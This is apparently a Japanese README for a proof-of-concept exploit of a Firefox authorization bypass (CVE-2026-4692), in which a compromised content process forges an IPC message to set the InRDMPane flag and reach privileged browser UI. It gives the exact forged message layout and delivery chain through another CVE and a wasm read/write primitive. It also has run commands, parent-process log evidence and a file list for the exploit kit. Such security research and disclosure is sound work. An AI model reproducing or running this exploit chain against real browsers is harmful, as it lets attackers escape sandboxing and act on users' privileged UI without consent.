
Firefox BrowsingContext 認可バイパス(CVE-2026-4692)の概念実証エクスプロイト。偽造したIPCメッセージを使用してInRDMPaneを設定し、特権UIタッチイベント注入を可能にすることを実証します。
BrowsingContextフィールド同期における認可チェック欠落の概念実証: 侵害されたコンテンツプロセスが、自身のトップレベルBrowsingContextに対して InRDMPane = true を設定する PContent::CommitBrowsingContextTransaction メッセージを偽造し、親プロセスがそれを適用してしまう。
対象: Firefox 149.0a1 nightly @ 2fbc0748c4(脆弱、修正前)、macOS arm64。
Firefox 149で修正 — bug 2017643、コミット a9279ce332ed(「コンテンツプロセスからのRDM BrowsingContextフラグ切り替えを防止」)。これにより以下が追加される:
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // コンテンツ由来なら拒否
}
InRDMPane は、タブがレスポンシブデザインモード(RDM)ペインであることを親プロセスに伝える。親プロセスは、合成タッチイベントのヒットテスト(BrowserParent::RecvDispatchTouchEvent)の際にこれを信頼する: 名目上RDMペインを対象とするイベントは、特権chrome UI に着地することを許可される。侵害されたコンテンツプロセスがこのフラグを設定すると、負の座標やコンテンツ外座標を持つタッチイベントを送信し、ユーザー操作なしで特権UIをクリックできる(レポーターのbug 2017643の repro.patch を参照。パッチ適用済みビルドでまさにそれを実証している)。このリポジトリは、実際のメッセージ偽造による境界違反の有効化自体を実証するもので、ブラウザのソースパッチは不要。
PContent::CommitBrowsingContextTransaction — メッセージタイプ 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311)、ルーティング MSG_ROUTING_CONTROL
(INT64_MAX)、フラグ NOT_NESTED (0x001):
u64 bcid sentinel 235406151 ('aContext')
u64 0x0000000000800000 変更ビットセット word0 (bit 23 = InRDMPane)
u64 0 bitset word1 (BitSet<84> のワードは size_t = u64!)
u32 1 WriteBool(true)
u32 523371752 sentinel 'aTransaction'
u64 epoch (epochチェックはMOZ_ASSERTのみ — ここではコンパイルで除去)
u32 132121169 sentinel 'aEpoch'
配信はCVE-2026-74939の送信パスを再利用する: operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
PContentチャネル上の MessageChannel::Send。JSからwasmのfuncref呼び出しプリミティブ(wasm-bytes.js、ステージ1 = CVE-2026-2796)経由で駆動。
./irun 実行後の親プロセス側ログ(MOZ_LOG=BrowsingContextSync:5):
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 はポップアップのトップレベルBrowsingContext(子プロセス割り当てID、from IPC で作成)、ipc はトランザクションがコンテンツ由来であることを示す。修正済みビルドでは同じメッセージが CanSet 検証に失敗し、拒否される。
前提条件: 脆弱なNightlyビルドを /Users/sid/gecko-2766/obj-browser に配置、psutil入りの .venv、バンドルされたログサーバーを実行:
python3 srv.py > /tmp/srv4692.log 2>&1 & # このディレクトリを :8781 で配信
python3 forge_bctx.py # bctx.bin/bctx.json を構築
./irun # 起動 + 注入 + 証拠収集
a9279ce332ed(MFSA 2026-20、Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| ファイル | 目的 |
|---|
bctx.html | PoCページ: 実行時にポップアップのBC IDを計算し、偽造メッセージにパッチして送信 |
forge_bctx.py | bctx.bin/bctx.json を構築(自己検証)、BC ID以外は完全に静的 |
wasm-bytes.js | ステージ1プリミティブ: 任意読み書き、funcref呼び出し |
mdrive2.py | marionetteハーネス |
irun | 計装実行: lldbアタッチ + BrowsingContextSync証拠 |
srv.py | PoCページ用ログWebサーバー(:8781) |
profile.user.js | Firefoxプロファイル設定(fission有効、ダンプ有効) |